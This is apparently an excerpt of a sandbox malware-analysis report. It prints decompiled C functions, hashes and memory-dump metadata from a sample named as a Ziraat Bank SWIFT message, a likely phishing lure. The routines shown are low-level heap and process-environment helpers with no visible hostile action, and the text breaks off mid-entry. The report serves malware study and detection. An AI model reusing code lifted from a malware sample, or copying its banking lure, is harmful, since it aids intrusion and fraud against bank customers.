                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 430126788cbbf50410702880383b08035df77c9536edcc2fc4d7b45f2d760bb2
                                                                        • Instruction ID: bfdc7da0f256d6db6375a560496318aaf32c0089b6c929dccf6f39d7d5d674a1
                                                                        • Opcode Fuzzy Hash: 430126788cbbf50410702880383b08035df77c9536edcc2fc4d7b45f2d760bb2
                                                                        • Instruction Fuzzy Hash: F5E09272A21422ABD3215A58AC00F66779DEFE5755F094035FA04D7214D668DD02C7E0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127F358 Relevance: .0, Instructions: 28COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 79%
                                                                        			E0127F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E012AF3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L01294620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}






                                                                        0x0127f35d
                                                                        0x0127f361
                                                                        0x0127f367
                                                                        0x0127f372
                                                                        0x0127f38c
                                                                        0x0127f38c
                                                                        0x0127f394

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
                                                                        • Instruction ID: 2f413aa500f4da4bc5aa1b7ed134cb8c2c790aaef08e04388a46c926c50016ad
                                                                        • Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
                                                                        • Instruction Fuzzy Hash: F6E0DF32A51258FBDB21ABDD9F06FABBFACDB58A60F000295BA04D7150D5789E00C2E1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0128FF60 Relevance: .0, Instructions: 22COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0128FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x12511a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E013488F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E01290050(_t14);
				}
			}










                                                                        0x0128ff66
                                                                        0x0128ff6b
                                                                        0x00000000
                                                                        0x0128ff8f
                                                                        0x00000000
                                                                        0x0128ff8f

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 9fe1f0d00db58bf37c5f0669a9b1c0d202d642807da8baa370d6fec5b2180b2a
                                                                        • Instruction ID: 29ccec7fb89f3224c8770397a891ed3fd1f81b3eaa6516753c413a05ba6ce48d
                                                                        • Opcode Fuzzy Hash: 9fe1f0d00db58bf37c5f0669a9b1c0d202d642807da8baa370d6fec5b2180b2a
                                                                        • Instruction Fuzzy Hash: 57E0D8B03362059FD735E759D240F253B9C9B62722F19805DE908471C2C621D840C299
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 013041E8 Relevance: .0, Instructions: 21COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 82%
                                                                        			E013041E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x13508f0);
				_t5 = E012CD08C(__ebx, __edi, __esi);
				if( *0x13687ec == 0) {
					E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x13687ec == 0) {
						 *0x13687f0 = 0x13687ec;
						 *0x13687ec = 0x13687ec;
						 *0x13687e8 = 0x13687e4;
						 *0x13687e4 = 0x13687e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L01304248();
				}
				return E012CD0D1(_t5);
			}





                                                                        0x013041e8
                                                                        0x013041ea
                                                                        0x013041ef
                                                                        0x013041fb
                                                                        0x01304206
                                                                        0x0130420b
                                                                        0x01304216
                                                                        0x0130421d
                                                                        0x01304222
                                                                        0x0130422c
                                                                        0x01304231
                                                                        0x01304231
                                                                        0x01304236
                                                                        0x0130423d
                                                                        0x0130423d
                                                                        0x01304247

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: cec0c9ac8b33316d05d6ee858e68f6a827abb03380a40a870177fe029ffe4662
                                                                        • Instruction ID: 7abea358d1408e8062de93ad0ec9ae5fe27db9254ce7378f3b6f71275824af4c
                                                                        • Opcode Fuzzy Hash: cec0c9ac8b33316d05d6ee858e68f6a827abb03380a40a870177fe029ffe4662
                                                                        • Instruction Fuzzy Hash: 1FF01578961705DECBB1EFA9E5087143AECFB9872AF0081AAD200876A8D73845A4CF01
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0132D380 Relevance: .0, Instructions: 21COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0132D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L0127E8B0(__ecx, _a4, 0xfff);
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}




                                                                        0x0132d38a
                                                                        0x0132d39b
                                                                        0x0132d3b1
                                                                        0x00000000
                                                                        0x0132d3b6
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
                                                                        • Instruction ID: 7a12b1fb02be9d361d18562e1aa750c62f31151dfbc968bfa62211da9482cb81
                                                                        • Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
                                                                        • Instruction Fuzzy Hash: E4E0C231280219BBDB226E88CC00FB97B1ADB507A4F104031FE085BAA0C6719C91DAD4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AA185 Relevance: .0, Instructions: 20COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012AA185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x13667e4 >= 0xa) {
					if(_t5 < 0x1366800 || _t5 >= 0x1366900) {
						return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E01290010(0x13667e0, _t5);
				}
			}





                                                                        0x012aa190
                                                                        0x012aa1a6
                                                                        0x012aa1c2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012aa192
                                                                        0x012aa192
                                                                        0x012aa19f
                                                                        0x012aa19f

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: f044540b26a194af218f73ae7316668006f6fe9f6b8b4b27bf5a6162e9de4f88
                                                                        • Instruction ID: 90bf45717744fc988e69320c19d82a9c2d75221e0d400d3e73b2944b5f3c2152
                                                                        • Opcode Fuzzy Hash: f044540b26a194af218f73ae7316668006f6fe9f6b8b4b27bf5a6162e9de4f88
                                                                        • Instruction Fuzzy Hash: 91D02BF11310002BCB2D17148815B39361EFB907D4F34C40CF2034B5A8ED549CD8D148
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A16E0 Relevance: .0, Instructions: 17COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012A16E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E012A1710(0x13667e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L01294620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}





                                                                        0x012a16e8
                                                                        0x012a16ef
                                                                        0x012a16f3
                                                                        0x012a16fe
                                                                        0x00000000
                                                                        0x012a1700
                                                                        0x012a170d
                                                                        0x012a170d
                                                                        0x012a16f2
                                                                        0x012a16f2
                                                                        0x012a16f2
                                                                        0x012a16f2

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 12a491b6cc5d85e691d0dc2c23d26f5170b0037b9697d6fbe6005cbafeec63d6
                                                                        • Instruction ID: 37fa0630348a9127f7aa04c6d08a3d6bfa864c3273b09d2ccc5d44ea3a870d7d
                                                                        • Opcode Fuzzy Hash: 12a491b6cc5d85e691d0dc2c23d26f5170b0037b9697d6fbe6005cbafeec63d6
                                                                        • Instruction Fuzzy Hash: 72D0A7711601429BEF2D5B189C04B242655EB90BA5F78005DF307894D0CFA4CCB6E08C
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F53CA Relevance: .0, Instructions: 16COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012F53CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E0128EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}








                                                                        0x012f53ca
                                                                        0x012f53ce
                                                                        0x012f53d9
                                                                        0x012f53de
                                                                        0x012f53e1
                                                                        0x012f53e1
                                                                        0x012f53e6
                                                                        0x012f53f3
                                                                        0x00000000
                                                                        0x012f53f8
                                                                        0x012f53fb

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
                                                                        • Instruction ID: d04f550d16d88b689621882cbe747c6cca7caa2b16020856a7ef568cb81e755d
                                                                        • Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
                                                                        • Instruction Fuzzy Hash: FDE08C319206819BCF16EB4CCA50F5EBBF5FB44B00F150028A2085B661C624AC00CB00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0128AAB0 Relevance: .0, Instructions: 12COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0128AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}




                                                                        0x0128aab6
                                                                        0x0128aabb
                                                                        0x012da442
                                                                        0x00000000
                                                                        0x012da448
                                                                        0x012da454
                                                                        0x012da454
                                                                        0x0128aac1
                                                                        0x0128aac1
                                                                        0x0128aac6
                                                                        0x0128aac6

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
                                                                        • Instruction ID: 3630ec900cae26a36503de3a1a217621dbd6ba20e6cab0262deeca413a8ca716
                                                                        • Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
                                                                        • Instruction Fuzzy Hash: 09D0E935362981CFE617DB1DC554B1577B4FB44B44FC50490E641CBB62E62CD944CA00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A35A1 Relevance: .0, Instructions: 12COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012A35A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E0128EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}






                                                                        0x012a35a1
                                                                        0x012a35a1
                                                                        0x012a35a5
                                                                        0x012a35ab
                                                                        0x012a35ab
                                                                        0x012a35b5
                                                                        0x00000000
                                                                        0x012a35c1
                                                                        0x012a35b7

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
                                                                        • Instruction ID: 50434c736d6cc8b401d37110c67493dc57d963d8fcb032fb61d2bd50a8f96abf
                                                                        • Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
                                                                        • Instruction Fuzzy Hash: BDD0A7718311829BDB01EF1CE1147F83771BB04304FD81055838105452E3354909C600
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127DB40 Relevance: .0, Instructions: 11COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0127DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L01294620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}





                                                                        0x0127db4d
                                                                        0x0127db54
                                                                        0x0127db5f
                                                                        0x0127db56
                                                                        0x0127db56
                                                                        0x0127db5c
                                                                        0x0127db5c

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
                                                                        • Instruction ID: c6001e97faf484e41426a79e7d1222e07bfbcbb03bab2f767aa57581da082bff
                                                                        • Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
                                                                        • Instruction Fuzzy Hash: 79C08C702A0A42AEEB222F24CE01B213AA0BB10B05F8800A06701DA0F0EB78D802E600
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012FA537 Relevance: .0, Instructions: 11COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012FA537(intOrPtr _a4, intOrPtr _a8) {

				return L01298E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}



                                                                        0x012fa553

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
                                                                        • Instruction ID: c3834de26a422fafd60aa62a8b5e44963846bdff0f8cc7e2c86a8c28f4b66096
                                                                        • Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
                                                                        • Instruction Fuzzy Hash: 47C01232080248BBCB126E85CC00F267B2AEBA4B60F048010BA480A5608632E970EA84
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01293A1C Relevance: .0, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E01293A1C(intOrPtr _a4) {
				void* _t5;

				return L01294620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}




                                                                        0x01293a35

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
                                                                        • Instruction ID: 15810bd55781f4e5de13b400a207acfa9db88d3181355b43d6557812116015aa
                                                                        • Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
                                                                        • Instruction Fuzzy Hash: 74C08C32080288BBCB126E45DD00F117B29E7A0B60F000020BA040A5608532EC61D588
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0127AD30 Relevance: .0, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0127AD30(intOrPtr _a4) {

				return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}



                                                                        0x0127ad49

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
                                                                        • Instruction ID: 06a04f25d66ca170934c7e19a4b655fe24f9e9d352eec8207a94c7c0b105f8a6
                                                                        • Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
                                                                        • Instruction Fuzzy Hash: F3C02B330D0248BBCB126F49CD00F157F2DE7A0B60F000030F6040B671C932EC60D988
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012876E2 Relevance: .0, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012876E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}




                                                                        0x012876e4
                                                                        0x00000000
                                                                        0x012876f8
                                                                        0x012876fd

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
                                                                        • Instruction ID: 18d1e9f73c0e3e7441f180ae8d94dcaf77a51e2ae7e4f808088d4ce652045440
                                                                        • Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
                                                                        • Instruction Fuzzy Hash: 8BC08C701761825EEF2A670CCE20B343A50AB0860CF6801ACAB01098E2C368A802C608
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A36CC Relevance: .0, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012A36CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}



                                                                        0x012a36d2
                                                                        0x012a36e8
                                                                        0x012a36d4
                                                                        0x012a36e5
                                                                        0x012a36e5

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
                                                                        • Instruction ID: be1b77a866b149507fbf0c599d983901a13a0d01a887a56c0de3a2280c930fc1
                                                                        • Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
                                                                        • Instruction Fuzzy Hash: 18C08CB0160480AFDB156B248E00B247294B700A21FA402547220854E0D5289C00D504
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01297D50 Relevance: .0, Instructions: 7COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E01297D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}




                                                                        0x01297d56
                                                                        0x01297d5b
                                                                        0x01297d60
                                                                        0x01297d5d
                                                                        0x01297d5d
                                                                        0x01297d5d

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
